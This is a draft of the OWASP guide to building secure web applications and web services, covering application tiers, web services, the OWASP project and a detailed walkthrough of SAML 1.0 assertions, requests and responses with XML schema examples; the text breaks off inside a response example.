A Guide to Building Secure Web Applications and Web Services

DRAFT - The Open Web Application Security Project

Mark Curphey
The Open Web Application Security Project
Watchfire

David Endler
iDefense

William Hau

Steve Taylor
Bank of America

Tim Smith
Alpha West - Australia

Gene McKenna
Bluedot Software

Adrian Wiesmann
SOMAP.org / SwordLord

Abraham Kang
Apexon / Security Systems Architect

Christopher Todd
Ernst & Young, LLP

Mikael Simonsson

Jeremy Poteet
appDefense

Darrel Grundy

K.K. Mookhey
Network Intelligence (I) Pvt. Ltd.

Edited by
Adrian Wiesmann

A Guide to Building Secure Web Applications and Web Services: DRAFT - The Open Web Application Security Project

Edited by Mark Curphey, David Endler, William Hau, Steve Taylor, Tim Smith, Gene McKenna, Adrian Wiesmann, Abraham Kang, Christopher Todd, Mikael Simonsson, Jeremy Poteet, Darrel Grundy, K.K. Mookhey, and Adrian Wiesmann

Table of Contents

I. Introduction

Chapter 1. Introduction

1.1. Foreword

We all use web applications everyday whether we consciously know it or not. That is, all of us who browse the web. The ubiquity of web applications is not always apparent to the everyday web user. When one visits cnn.com and the site automagically knows you are a US resident and serves you US news and local weather, it's all because of a web application. When you transfer money, search for a flight, check out arrival times or even the latest sports scores online, you are using a web application. Web Applications and Web Services (inter-web applications) are what drive the current iteration of the web and are evolving to serve new platforms and new devices with an ever-expanding array of information and services.

The last two years have seen a significant surge in the amount of web application specific vulnerabilities that are disclosed to the public. No web application technology has shown itself invulnerable, and discoveries are made every day that affect both owners' and users' security and privacy.

Security professionals have traditionally focused on network and operating system security. Assessment services have relied heavily on automated tools to help find holes in those layers. Today's needs are different, and different tools are needed. Despite this, the basic tenants of security design have not changed. This document is an attempt to reconcile the lessons learned in past decades with the unique challenges that the web provides.

While this document doesn't provide a silver bullet to cure all the ills, we hope it goes a long way in taking the first step towards helping people understand the inherent problems in web applications and build more secure web applications and web services in the future.

This version 2.0 is a significant improvement over the initial release and a major milestone. Not only is the content more eloquently laid out and significantly better written but the original content has been significantly expanded to cover web services, XML, Microsoft's .NET and Java. You can now find extensive practical code samples for the Java and PHP languages and a much-improved common problems chapter. You may also be reading this document in a printed published book, proof itself that open source documents really are commercially viable.

Personally I am very proud to be a part of OWASP. There are many talented people involved who are a pleasure to work with and learn from. It's a truly fun and very rewarding project for all involved performing an important function in this digital age.

Enjoy,

Mark Curphey, OWASP Founder and Project Leader

1.2. What Are Web Applications?

In its most basic form a web application is a client/server software application that interacts with users or other systems using HTTP. For a user the client is most likely be a web browser like Microsoft Internet Explorer or Netscape Navigator; for another software application this would be an HTTP user agent that acts as a browser on behalf of the system. The end user views web pages and is able to interact by sending choices to the system. The functions performed can range from relatively simple tasks like reading content or searching a local directory for a file or reference, to highly sophisticated applications that perform real-time sales and inventory management across multiple business partners. The technology behind web applications has developed at the speed of light. Traditionally simple applications were built with a common gateway interface application (CGI) often written in C or Perl and typically running on the web server itself that maybe connected to a simple database (again often on the same host). Modern enterprise web applications typically are written in languages such as Java, C# or ASP.NET and run on distributed application servers, connecting to multiple data sources through complex business logic tiers. They can consist of hundreds or thousands of servers each performing specific tasks or functions.

There is a lot of confusion about what a web application actually consists of and where the security problems lie. While it is true that the problems so often discovered and reported are product specific, they are often logic and design flaws in the application, and not necessarily flaws in the underlying web products or technology.

Web Application Tiers

It can help to think of a web application as being made up of three logical tiers or functions.

Presentation Tiers are responsible for presenting the data to the end user or system. The web server serves up data and the web browser renders it into a readable form, which the user can then interpret. It also allows the user to interact by sending back parameters, which the web server can pass along to the application. This "Presentation Tier" includes web servers like Apache and Microsoft Internet Information Server and web browsers like Internet Explorer and Netscape Navigator. It may also include application components that create the page layout.

The Application Tier is the "engine" of a web application. It performs the business logic; processing user input, making decisions, obtaining more data and presenting data to the Presentation Tier to send back to the user. The Application Tier may include technology like CGI's, Java (J2EE), or .NET services deployed in products like IBM WebSphere, BEA WebLogic or Apache Tomcat.

A Data Tier is used to store things needed by the application and acts as a repository for both temporary and permanent data. It is the bank vault of a web application. Modern systems are typically now storing data in XML format for interoperability with other system and sources.

Of course, small applications may consist of a simple C CGI program running on a local host, reading or writing files to disk. In this case the three tiers are still present; it is simply the lines between them, which

is blurred.

1.3. What Are Web Services?

Web Services have received a lot of press and with that comes a great deal of confusion over what they really are. Some are heralding Web Services as the biggest technology breakthrough since the web itself; others are more skeptical that they are nothing more than evolved web applications. In either case, the issues of web application security apply to web services just as they do to web applications.

At the simplest level, web services can be seen as a specialized web application that differ mainly at the presentation tier level. While web applications typically are HTML based, web services are XML based. Web applications are normally accessed by users, while web service are employed as building blocks by other web applications. Web services are typically based on a small number of functions, while web applications tend to deal with a broader set of features.

A Web Service is a collection of functions that are packaged as a single entity and published to the network for use by other programs. Web services are building blocks for creating open distributed systems, and allow companies and individuals to quickly and cheaply make their digital assets available worldwide. One Web Service may use another Web Service to build a richer set of features to the end user. In the future applications may be built from Web services that are dynamically selected at runtime based on their cost, quality, and availability.

The power of Web Services comes from their ability to register themselves as being available for use using WSDL (Web Services Description Language) and UDDI (Universal Description, Discovery and Integration). Web services are based on XML (extensible Markup Language) and SOAP (Simple Object Access Protocol). Web services allow one application to communicate with another using standards based technology and build richer applications.
The Web Services Technology Stack

Whether your focus is on securing web services themselves or as a component within a larger web application, the same security issues faced by traditional web applications are present in web services as well.

1.4. About The Open Web Application Security Project

The Open Web Application Security Project (OWASP) was started in September 2001 by Mark Curphey and now has over 40 active contributors from around the world. OWASP is a "not for profit" open source reference point for system architects, developers, vendors, consumers and security professionals involved in Designing, Developing, Deploying and Testing the security of web applications and Web Services. In short, the Open Web Application Security Project aims to help everyone and anyone build more secure web applications and Web Services. OWASP projects are broadly divided into two main categories, development projects and documentation projects.

Our development projects currently consist of WebScarab - a web application vulnerability assessment suite including proxy tools, Filters - generic security boundary filters that developers can use in their own applications, CodeSeeker - an commercial quality application level firewall and Intrusion Detection System that runs on Windows and Linux and supports IIS, Apache and iPlanet web servers, WebGoat - an interactive

training and benchmarking tool that users can learn about web application security in a safe and legal environment and the OWASP Portal - our own Java based portal code designed with security as a prime concern. We are also developing a Model View Controller framework for the .NET platform. All software and documentation is open source under the GNU Public License and copyrighted to the Free Software Foundation so that the community can contribute without the fear of exploitation.

Our documentation projects currently consist of this Guide and Testing - a web site security testing methodology and framework.

We also have one significant project that spans both our development projects and documentation projects called VulnXML. VulnXML is an XML file format for describing web application security vulnerabilities, which can be used in a number of commercial and open source tools to check for specific problems. OWASP has developed a web based VulnXML database where the community can submit checks, which are QA'd by the OWASP team before being released into a production feed.

II. Designing Web Security

Chapter 2. Designing Web Security

2.1. Overview

When designing an application, the architect needs to have a deep knowledge of all the technologies in use. This chapter gives you an overview of what security in web applications and web services is all about.

Seasoned software architects may know the content of this chapter, while others can find out about the fundamentals of the design of secure applications.

This chapter covers design methods, design principles, architectures and application frameworks. It also contains some information about threading and general design of environments where web applications and web services are run within.

III. Security Techniques

Chapter 3. Web Application Security Technologies

3.1. Overview

Chapter 4. Introduction

4.1. What's in this section?

The section about Security Techniques is an overview of the security related techniques which are used within the development of web applications and web services. It contains Best Practices about Input Validation, Logging and Session Management. Besides these practice oriented chapters this section also contains informations concerning Cryptography, Authentication (SAML) and Transport Security Protocols like SSL and SSH.

This section starts with an explanation of Authentication and contains a description of the SAML protocol.

The second chapter is about Session Management. How it works and where the pitfalls are. Sessions are quite important to be able to store user informations since HTTP is a stateless protocol and web applications need mostly a way to store user information.

Before diving into Transport Security, the Crypto chapter allows to learn about cryptography and what crypto is for. It also has some lines about what not to do and where the traps are.

Transport Security is the fourth chapter and does not only explain the transport security needs but also shows what tools and technologies are available and how they should be used. It references informations which can be found in the Crypto chapter.

One of the bigger problems with Web Applications is discussed in the Input Validation chapter. It features some stories about how not to develop applications and contains mitigation strategies to avoid code injection and exploits from wrong input.

The last chapter is about logging. While logs are normaly not looked at as very important, this chapter contains a few thoughts and best practices how and why logging is important and should be done safely.

Chapter 5. Authentication

5.1. SAML

SAML stands for Security Assertions Markup Language. SAML provides an interoperable XML schema for exchanging authentication, authorization, and user attribute related information. It allows different security infrastructures and applications to shared authentication, authorization, and attribute related information. SAML is important because it is the first time that all of the major vendors (IBM, Microsoft, Oracle, Sun, BEA, SAP, etc.) have come together to support a single security standard.

SAML is made up of three parts. The first part is the SAML element schema, which represents authentication, authorization, and user attribute related information. The second part is the XML schema that defines the SAML protocol in which the authentication, authorization, and user attribute related information is requested and supplied. The third part represents the SAML profiles and bindings. A SAML profile describes the rules used to extract and embed SAML Assertions into a framework or protocol. SAML Bindings explain how SAML messages work with standard messaging or communication protocols. Although it is important to understand which elements go where and what each element represents it is import to first get the big picture. Lets look at the actual scenarios where SAML can be used.

5.1.1. SAML Usage Senarios

In order to understand the usage scenarios we will need to go over some vocabulary. Authorities are the sites or entities that hold user related information, or the sites the user has authenticated to. There are three types of Authorities: Attribute, Authentication, and Authorization.

An Attribute authority could provide credit limit information.

An Authentication authority would provide information on when a user was authenticated and by what means.

An Authorization authority could vouch for different access rights that an authenticated user possesses.

5.1.2. SSO Pull Scenario

In this scenario the user has already authenticated to a Web site (Attribute and Authentication Authority) and is trying to access a partner site (Policy Decision Point and Policy Enforcement Point). All of the links to the partner site reference an inter-site transfer URL. When the user clicks the URL to the partner site, the source site receives the request (through the inter-site URL) and places an artifact in the HTTP 302 response or places an assertion in the HTML page returned. The user is then redirected to the

destination site's artifact or assertion consumer URL. The destination verifies the artifact or assertion and returns the requested HTML resource.

5.1.3. Distributed Transaction Scenario

Basically a SOAP client authenticates to a SOAP service that participates within a set of loosely coupled B2B Web Service Supply Chain Services. A supplier or buyer has to only setup their contractual agreements once and can seamlessly access all other member Web Service interfaces to buy and sell products. Within the supply chain consortium there is a centralized Authentication, Authorization, and Attribute Authority. All members initially login to this service and receive the associated Assertions to interact with other supply chain partners. Whenever a user wants to create a transaction with another partner they attach their assertion to the transaction request. The receiver then confirms the assertion with the centralized authority or verifies and accepts the assertion if the assertion is signed. After confirming the request a response is sent to the message initiator to confirm or deny the transaction.

A different spin of this is where the user authenticates to a site, which can make orders on behalf of the logged in user at another site. When a user needs to initiate a transaction at the partner site, the appropriate assertions are generated and sent to the other site on behalf of the user. The assertions are used to validate the user credentials, credit limits, and commit the transaction.

Now that you understand where SAML can be used, lets look at the core SAML elements that define the authentication, authorization, and user attribute related information.

5.1.4. SAML Assertions

The Assertion element represents the core container element within SAML. The Assertion element is the main element because it represents a statement of proof about a Subject. Assertions hold any number of three different "Statement" types. The "Statement" types (Authentication, Attribute, and AuthorizationDecision) correspond with the three different types of information that can be conveyed between an "Asserting" and "Relying" (RP) party. A "Relying" party requests authentication, authorization, and attribute related information from an "Asserting" party (AP). A "Relying" party relies on the assertions provided by the "Asserting" party to make authentication, authorization, and attribute related decisions. "Asserting" parties are also referred to as Authorities. The different types of information that can be passed between a RP and AP also categorize authorities. Authorities can be any combination of Authentication, Authorization, and Attribute Authorities.

A SAML Assertion is made up of required and optional elements and attributes. The mandatory attributes are:

- AssertionID -- The AssertionID must be a globally unique identifier with less than 2^-128 (2^-160 recommended) probability of creating duplicates for different Assertions.
- MajorVersion -- "1" for SAML 1.0
- MinorVersion -- "0" for SAML 1.0
- Issuer -- String that represents the issuer of the assertion (authority). This can be any string that is known to

identify the Issuer of the Assertion.

- IssueInstant -- The date and time in UTC format when the assertion was created. UTC is sometimes called GMT. All time is relative to UTC (or GMT) and the format is "YYYY-MM-DDTHH:MM:SSZ". An example is "2003-01-04T14:36:04Z". T is the date time separator. Z stands for "Zulu" or GMT time zone.

The optional elements are:

1. Conditions:

   Give additional restrictions on determining the validity of an assertion. The attributes of the saml:Conditions element define the validity period using NotBefore and NotOnOrAfter attribute. If there is a saml:Conditions element with no sub elements or attributes then the assertion is valid without further investigation. If the saml:Conditions element has nested saml:Condition elements then the validity of the assertion is based on the folowing rules:

   a. If any saml:Condition or saml:AudienceRestrictionCondition element within the saml:Conditions element is invalid or if the current dateTime falls outside of the NotBefore or NotOnOrAfter attributes then the assertion is invalid.
   b. If any saml:Condition or saml:AudienceRestrictionCondition element within the saml:Conditions element cannot be verified as valid or invalid then the Assertion is Indeterminate.
   c. Only when all saml:Condition and/or saml:AudienceRestrictionCondition elements nested within the saml:Conditions element are valid is the Assertion valid.

2. Advice:

   Holds additional information that the issuer wishes to provide in the form of any number of saml:AssertionIDReference, saml:Assertion, and/or any valid and well formed XML element that's namespace resides outside the target namespace (<any namespace="##other" processContents="lax"/>).

3. Statement Type

   Any mix of one or more saml:Statement types (saml:Statement, saml:SubjectStatement, saml:AuthenticationStatement, saml:AuthorizationDecisionStatement, saml:AttributeStatement).

   a. The saml:Statement' type serves as a base type to extend from when you want to create your Statement types. The saml:Statement element does not define any nested elements or attributes and therefore have little practical value on its own. Here is the XML schema that describes this element:

```
<element name="Statement" type="saml:StatementAbstractType"/>
<complexType name="StatementAbstractType" abstract="true"/>
```

b. The saml:SubjectStatement's type serves as a base type to extend from when you want to create your SubjectStatement types. The only difference between a saml:Statement and saml:SubjectStatement is that the saml:SubjectStatement has a nested saml:Subject element. Here is the XML Schema that describes this element:

```
<element name="SubjectStatement"
     type="saml:SubjectStatementAbstractType" />
<complexType name="SubjectStatementAbstractType" abstract="true">
<complexContent>
<extension base="saml:StatementAbstractType">
<sequence>
<element ref="saml:Subject" />
</sequence>
</extension>
</complexContent>
</complexType>
```

c. The saml:AuthenticationStatement can be extended but it is typically used as-is. A saml:AuthenticationStatement asserts that a subject was authenticated using a specific method (Kerberos, password, X509 Cert, etc.) at a specific time. Here is a sample assertion with a saml:AuthenticationStatement:

```
<saml:Assertion ...>
<saml:AuthenticationStatement
   AuthenticationMethod="urn:oasis:names:tc:SAML:1.0:am:password"
   AuthenticationInstant="2003-12-03T10:02:00Z">
<saml:Subject>
<saml:NameIdentifier Format="#emailAddress" NameQualifier="smithco.com">
joeuser@smithco.com
</saml:NameIdentifier>
</saml:Subject>
</saml:AuthenticationStatement>
</saml:Assertion>
```

d. The saml:AttributeStatement can also be extended but it is typically used as-is. The saml:AttributeStatement asserts that a subject has a set of attributes (A,B,C,etc.) with associated values ("a","b","c",etc.). Here is an example:

```
<saml:Assertion ...>
<saml:AttributeStatement>
<saml:Subject>
<saml:NameIdentifier Format="#emailAddress"
NameQualifer="smithco.com">joeuser@smithco.com
   </saml:NameIdentifier>
</saml:Subject>
<saml:Attribute AttributeName="Department"
AttributeNamespace="http://smithco.com">
   <saml:AttributeValue>
   Engineering
   </saml:AttributeValue>
</saml:Attribute>
<saml:Attribute
AttributeName="CreditLimit"
AttributeNamespace="http://smithco.com">
   <saml:AttributeValue>
      500.00
   </saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
```

e. The saml:AuthorizationDecisionStatement can also be extended but is typically used as-is. The saml:AuthorizationDecisionStatement asserts that a subject should be granted or denied access to a specific resource. Here is an example:

```
<saml:Assertion ...>
<saml:AuthorizationDecisionStatement
Decision="Permit"
Resource="http://jonesco.com/rpt_12345.htm">
<saml:Subject>
<saml:NameIdentifier Format="#emailAddress"
NameQualifer="smithco.com">joeuser@smithco.com
</saml:NameIdentifier>
</saml:Subject>
<saml:Actions
<saml:Action Namespace=
"urn:oasis:names:tc:SAML:1.0:action:rwedc">Read
</saml:Action>
```

```
</saml:Actions>
</saml:AuthorizationStatement>
</saml:Assertion>
```

5.1.5. SAML Protocol

The SAML Protocol is pretty simple. A relying party makes a request and an asserting party (Authority) provides the response. The Relying Party sends a samlp:Request to the Asserting Party. If successful, the Asserting Party includes an Assertion in the samlp:Response. If unsuccessful, the Asserting Party does NOT return an Assertion and returns the status instead.

The samlp:Request

The samlp:Request element is extended from the samlp:RequestAbstractType. XML extension allows a target XML element which gets its type from a parent base type to add additional attributes or elements to a defined child type which extends the parent base type as long as the instance of the target XML element specifies the child type as a xsi:type attribute (That was a mouthful. Look at the "Extending SAML Elements" section for an example). The samlp:RequestAbstractType looks like the following:

```
<complexType name="RequestAbstractType" abstract="true">
<sequence>
<element ref="samlp:RespondWith" minOccurs="0" maxOccurs="unbounded"/>
<element ref = "ds:Signature" minOccurs="0"/>
</sequence>
<attribute name="RequestID" type="saml:IDType" use="required"/>
<attribute name="MajorVersion" type="integer" use="required"/>
<attribute name="MinorVersion" type="integer" use="required"/>
<attribute name="IssueInstant" type="dateTime" use="required"/>
</complexType>
```

The samlp:Request inherits four mandatory attributes and two optional elements from the RequestAbstractType. The samlp:Request is defined as follows:

```
<element name="Request" type="samlp:RequestType"/>
<complexType name="RequestType">
<complexContent>
<extension base="samlp:RequestAbstractType">
<choice>
<element ref="samlp:Query"/>
<element ref="samlp:SubjectQuery"/>
<element ref="samlp:AuthenticationQuery"/>
<element ref="samlp:AttributeQuery"/>
<element ref="samlp:AuthorizationDecisionQuery"/>
<element ref="saml:AssertionIDReference" maxOccurs="unbounded"/>
<element ref="samlp:AssertionArtifact" maxOccurs="unbounded"/>
</choice>
</extension>
</complexContent>
</complexType>
```

So the samlp:Request has all of the attributes and elements of the samlp:RequestAbstractType and only adds a choice of the following elements: samlp:Query, samlp:SubjectQuery, samlp:AuthenticationQuery, samlp:AttributeQuery, samlp:AuthorizationDecisionQuery, saml:AssertionIDReference (one or more) or samlp:AssertionArtifact (one or more). Lets look at the attributes and sub-elements in more detail.

The samlp:Request contains four mandatory attributes:

- RequestID -- The RequestID must be a globally unique identifier with less than 2^-128 (2^-160 recommended) probability of creating duplicates for different Requests.
- MajorVersion -- "1" for SAML 1.0
- MinorVersion -- "0" for SAML 1.0
- IssueInstant -- The date and time in UTC format when the request was initiated. UTC is sometimes called GMT. All time is relative to UTC (or GMT) and the format is "YYYY-MM-DDTHH:MM:SSZ". An example is "2003-01-04T14:36:04Z". T is the date time separator. Z stands for "Zulu" or GMT time zone.

The samlp:Request also has optional sub-elements:

1. samlp:RespondWith

   This allows you specify what type of Statement you are requesting. The only requirement is that you specify QNames. A QName is an XML element that includes its namespace prefix. The format of a QName is prefix:elementName. If you do not specify anything you will get all Statements that are associated with the subject that you are verifying. You can specify one or more of these. Here is an example:

```
<RespondWith>saml:AttributeStatement</RespondWith>
<RespondWith>saml:AuthenticationStatement</RespondWith>
```

2. ds:Signature

   This element allows you to sign the request to verify that the request was generated by a specific signer. Please refer to the chapter on XML Signature to get the details of this element.

Finally the samlp:Request has to have a Query or Assertion pointer associated with it. The Query has to determine what type of Statement to return so it mimics the saml:Statement element's hierarchy. The Assertion pointer is a reference to an AssertionID or Artifact. Here are the seven different Query types:

1. samlp:Query

   The Query element has a similar structure to the saml:Statement. The Query element is based on an abstract type, is empty, and is primarily used as an XML extension point. Here is XML Schema definition:

```
<element name="Query" type="samlp:QueryAbstractType"/>
<complexType name="QueryAbstractType" abstract="true"/>
```

2. samlp:SubjectQuery

   The SubjectQuery element has a similar structure to the saml:SubjectStatement. The SubjectQuery's type serves as a base type to extend from when you want to create your SubjectQuery types. The only difference between a samlp:Query and samlp:SubjectQuery is the samlp:SubjectQuery has a nested saml:Subject element. Here is XML Schema definition:

```
<element name="SubjectQuery" type="samlp:SubjectQueryAbstractType"/>
<complexType name="SubjectQueryAbstractType" abstract="true">
<complexContent>
<extension base="samlp:QueryAbstractType">
<sequence>
<element ref="saml:Subject"/>
</sequence>
</extension>
</complexContent>
</complexType>
```

3. samlp:AuthenticationQuery

The AuthenticationQuery can be extended but it is typically used as-is. A samlp:AuthenticationQuery asks for all the Authentication Assertions related to a specific subject that define previous authentication acts between the specified subject and the Authentication authority. It looks just like a samlp:SubjectQuery but adds an optional samlp:AuthenticationMethod element that is of type anyURI. The samlp:AuthenticationMethod element serves as a filter and will only retrieve saml:AuthenticationStatements with the noted AuthenticationMethod. The authentcation method can be one of the following values:

```
 urn:oasis:names:tc:SAML:1.0:am:password          (password)
 urn:ietf:rfc:1510                                (kerberos)
 urn:ietf:rfc:2945                                (Secure Remote Password)
 urn:oasis:names:tc:SAML:1.0:am:HardwareToken     (Hardware token)
 urn:ietf:rfc:2246                                (SSL/TLS Cert
Authentication)
 urn:oasis:names:tc:SAML:1.0:am:X509-PKI          (X509 Public Key)
 urn:oasis:names:tc:SAML:1.0:am:PGP               (PGP Public Key)
 urn:oasis:names:tc:SAML:1.0:am:SPKI              (SPKI Public Key)
 urn:oasis:names:tc:SAML:1.0:am:XKMS              (XKMS Public Key)
 urn:ietf:rfc:3075                                (XML Digital Signature)
 urn:oasis:names:tc:SAML:1.0:am:unspecified       (unspecified)
```

Here is XML Schema definition:

```
<element name="AuthenticationQuery" type="samlp:AuthenticationQueryType"/>
<complexType name="AuthenticationQueryType">
<complexContent>
<extension base="samlp:SubjectQueryAbstractType">
<attribute name="AuthenticationMethod" type="anyURI"/>
</extension>
</complexContent>
</complexType>
```

Here is an example of an authentication query:

```
<samlp:Request MajorVersion="1" MinorVersion="0"
RequestID="128.14.234.20.12345678"
IssueInstant="2001-12-03T10:02:00Z">
<samlp:RespondWith>saml:AuthenticationStatement
</samlp:RespondWith>
<ds:Signature>...</ds:Signature>
<samlp:AuthenticationQuery>
<saml:Subject>
<saml:NameIdentifier Format="#emailAddress"
NameQualifier="smithco.com">
joeuser@smithco.com
</saml:NameIdentifier>
</saml:Subject>
</samlp:AuthenticationQuery>
</samlp:Request>
```

4. samlp:AttributeQuery

   The AttributeQuery can be extended but it is typically used as-is. A saml:AttributeQuery asks for the attributes related to a specific subject. It looks just like a samlp:SubjectQuery but adds an optional saml:AttributeDesignator element and an optional Resource attribute. The saml:AttributeDesignator acts as a filter in the same way the AuthenticationMethod worked. If no AttributeDesignator is mentioned then all attributes related to the subject are returned. The resource attribute allows you to tell the Attribute Authority that the attribute request is being made in response to a specific authorization decision relating to a resource. Here is the XML Schema:

```
<element name="AttributeQuery" type="samlp:AttributeQueryType"/>
<complexType name="AttributeQueryType">
<complexContent>
<extension base="samlp:SubjectQueryAbstractType">
<sequence>
<element ref="saml:AttributeDesignator"
minOccurs="0" maxOccurs="unbounded"/>
</sequence>
<attribute name="Resource" type="anyURI reference"
use="optional"/>
</extension>
</complexContent>
</complexType>
```

   Just as a reminder here is the definition of saml:AttributeDesignator:

```
<element name="AttributeDesignator" type="saml:AttributeDesignatorType"/>
<complexType name="AttributeDesignatorType">
<attribute name="AttributeName" type="string" use="required"/>
<attribute name="AttributeNamespace" type="anyURI" use="required"/>
</complexType>
```

Here is an example of an AttributeQuery:

```
<samlp:Request...>
<samlp:AttributeQuery>
<saml:Subject>
<saml:NameIdentifier Format="#emailAddress" NameQualifier="smithco.com">
joeuser@smithco.com
</saml:NameIdentifier>
</saml:Subject>
<saml:AttributeDesignator AttributeName="PaidStatus"
AttributeNamespace="http://smithco.com"/>
</samlp:AttributeQuery>
</samlp:Request>
```

5. samlp:AuthorizationDecisionQuery

The AuthorizationDecisionQuery can be extended but it is typically used as-is. A saml:AuthorizationDecisionQuery asks if a subject can execute certain actions on a specific resource given some evidence. It looks just like a samlp:SubjectQuery but adds a required saml:Action element, an optional saml:Evidence element, and an optional Resource attribute. The saml:Action defines what the subject wants to do. The saml:Evidence defines the additional Assertions that the subject is providing to the Authorization Authority to help it make its decision. The resource is an URI which defines the object that the authorization query is related to. Lets take a closer look at each of these elements. The saml:Action is defined as follows:

```
<element name="Action" type="saml:ActionType"/>
<complexType name="ActionType">
<simpleContent>
<extension base="string">
<attribute name="Namespace" type="anyURI"/>
</extension>
</simpleContent>
</complexType>
```

SAML defines a set of Action Namespaces and their associated values. They are as follows:

```
Read/Write/Execute/Delete/Control
Namespace:              urn:oasis:names:tc:SAML:1.0: action:rwedc
Possible Values:        Read Write Execute Delete Control
Comments:               The values describe what you can do with the resource.

Read/Write/Execute/Delete/Control with Negation
Namespace:              urn:oasis:names:tc:SAML:1.0:action:rwedc-negation
Possible Values:        Read Write Execute Delete Control ~Read ~Write ~Execute
                        ~Delete ~Control
Comments:               The values describe what you can do with the resource.

Get/Head/Put/Post
Namespace:              urn:oasis:names:tc:SAML:1.0: action:ghpp
Possible Values:        GET HEAD PUT POST
Comments:               The values describe common HTTP operations that you
could
                        execute on a URL resource.

UNIX File Permissions
Namespace:              urn:oasis:names:tc:SAML:1.0:action:unix
Possible Values:        4 digit number, XXXX, where X represents a decimal
number
Comments:               The 4 digits represent extended user group world
permissions.
                        So if extended is set to +2, sgid is set, if extended is
set
                        to +4 suid is set. The rest of the digits follow the
                        standard rwx Unix values. 7 is read, write, and execute.
                        5 is read and execute, etc.
```

Here is an example AuthorizationDecisionQuery:

```
<samlp:Request ...>
<samlp:AuthorizationDecisionQuery
Resource="http://jonesco.com/rpt_12345.htm">
<saml:Subject>
<saml:NameIdentifier Format="#emailAddress" NameQualifier="smithco.com">
joeuser@smithco.com
```

```
</saml:NameIdentifier>
</saml:Subject>
<saml:Actions Namespace="http://...">
<saml:Action Namespace="urn:oasis:names:tc:SAML:1.0:action:rwedc">Read
</saml:Action>
</saml:Actions>
<saml:Evidence>
<saml:Assertion>...</saml:Assertion>
</saml:Evidence>
</samlp:AuthorizationDecisionQuery>
</samlp:Request>
```

The last two elements define alternate methods of fetching assertions by presenting an artifact (samlp:AssertionArtifact) or by presenting an AssertionID (saml:AssertionIDReference). You could have one or more of the following elements.

1. saml:AssertionIDReference

   The saml:AssertionIDReference is of type IDType and basically points to an assertion that it is requesting. Here is an example:

```
<saml:AssertionIDReference>128.14.234.20.12345678</saml:AssertionIDReferen
ce>
```

2. samlp:AssertionArtifact

   The samlp:AssertionArtifact is based on the xsi:type String. It holds an 8 byte Base 64 encoded string that indirectly points to an Assertion. Here is an example:

```
<saml:AssertionArtifact >128.14.234.20.12345678</saml:AssertionArtifact >
```

Once the request is received, the Authority has to send a response. Coincidentally, the element returned is samlp:Response.

5.1.6. The samlp:Response

The samlp:Response contains a set of assertions (if successful) or status code (when things go wrong). The samlp:Response, like the samlp:Request, extends an abstract type samlp:ResponseAbstractType. A samlp:Response can be signed to verify the sending party to the relying party. The

samlp:ResonseAbstractType looks like the following:

```
<complexType name="ResponseAbstractType" abstract="true">
<sequence>
<element ref = "ds:Signature" minOccurs="0"/>
</sequence>
<attribute name="ResponseID" type="saml:IDType" use="required"/>
<attribute name="InResponseTo" type="saml:IDReferenceType" use="optional"/>
<attribute name="MajorVersion" type="integer" use="required"/>
<attribute name="MinorVersion" type="integer" use="required"/>
<attribute name="IssueInstant" type="dateTime" use="required"/>
<attribute name="Recipient" type="anyURI" use="optional"/>
</complexType>
```

The ResponseAbstractType defines an optional ds:Signature element which allows the Response to be signed. There are 4 required attributes and 2 optional attributes.

The 4 required attributes of the samlp:ResponseAbstractType are:

- ResponseID -- The ResponseID must be a globally unique identifier with less than 2^-128 (2^-160 recommended) probability of creating duplicates for different Requests.
- MajorVersion -- "1" for SAML 1.0
- MinorVersion -- "0" for SAML 1.0
- IssueInstant -- The date and time in UTC format when the assertion was created. UTC is sometimes called GMT. All time is relative to UTC (or GMT) and the format is "YYYY-MM-DDTHH:MM:SSZ". An example is "2003-01-04T14:36:04Z". T is the date time separator. Z stands for "Zulu" or GMT time zone.

The 2 required attributes of the samlp:ResponseAbstractType are:

1. InResponseTo

   This holds the RequestID of the samlp:Request that generated this samlp:Response.

2. Recipient

   A URI that represents a recipient or a resource managed by a recipient. This value if present must be verified by the recipient.

The samlp:Request extends the samlp:ResponseAbstractType by adding a required samlp:Status element and

optional saml:Assertion element. If the Status is "success" the response includes an Assertion. If the Status is "failure" then the Response will NOT contain an assertion. Here is XML schema definition for samlp:Response:

```
<element name="Response" type="samlp:ResponseType"/>
<complexType name="ResponseType">
<complexContent>
<extension base="samlp:ResponseAbstractType">
<sequence>
<element ref="samlp:Status"/>
<element ref="saml:Assertion" minOccurs="0" maxOccurs="unbounded"/>
</sequence>
</extension>
</complexContent>
</complexType>
```

You should be familiar with saml:Assertion. The samlp:Status probably needs more explaining. The samlp:Status describes the result of the samlp:Request. The samlp:Status has the following XML Schema definition:

```
<element name="Status" type="samlp:StatusType"/>
<complexType name="StatusType">
<sequence>
<element ref="samlp:StatusCode"/>
<element ref="samlp:StatusMessage" minOccurs="0" maxOccurs="1"/>
<element ref="samlp:StatusDetail" minOccurs="0"/>
</sequence>
</complexType>
```

The samlp:Status has a complex structure where its sub-element, samlp:StatusCode, can have nested samlp:StatusCode elements. Each of the samlp:StatusCode elements has a single required Value attribute. Here is the XML Schema that describes the samlp:StatusCode element:

```
<element name="StatusCode" type="samlp:StatusCodeType"/>
<complexType name="StatusCodeType">
<sequence>
<element ref="samlp:StatusCode" minOccurs="0"/>
</sequence>
<attribute name="Value" type="QName" use="required"/>
</complexType>
```

The Value attribute of the top level samlp:StatusCode has to have one of the following values:

```
Success -- The request succeeded.
VersionMismatch -- The version was incorrect.
Requester -- There was an error at the requester.
Responder -- There was an error at the responder.
```

The second-level status codes can be one of the following:

```
RequestVersionTooHigh -- The request's version is not supported by the responder
                         because it is too high.
RequestVersionTooLow --  The request's version is not supported by the responder
                         because it is too low.
RequestVersionDeprecated -- The responder does not accept the version of the
                            protocol specified.
TooManyResponses -- The response could only return a subset of all the value
elements.
RequestDenied -- The responder has elected not to respond due to an insecure
environment
                 or protocol resonse.
ResourceNotRecognized -- The responder does not acknowledge the resource provided
                         because it is invalid or unrecognized.
```

All of the samlp:Status values above are Qnames (qualified names) in the

urn:oasis:names:tc:SAML:1.0:protocol namespace. If you wanted to create your own samlp:Status values, they have to be in their own namespace and be fully qualified. Here is an example:

```
<StatusCode Value="myPrefix:TheServerIsOverwhelmed">
<StatusCode Value="myPrefix:TooManyConcurrentSSLRequests"/>
</StatusCode>
```

The samlp:StatusMessage serves as a generalized error description corresponding to the state of the top level samlp:Status. The samlp:StatusDetail allows you to provide any well formed XML that can be processed further by the Relying party.

Here is an example of a samlp:Response:

```
<samlp:Response MajorVersion="1" MinorVersion="0"
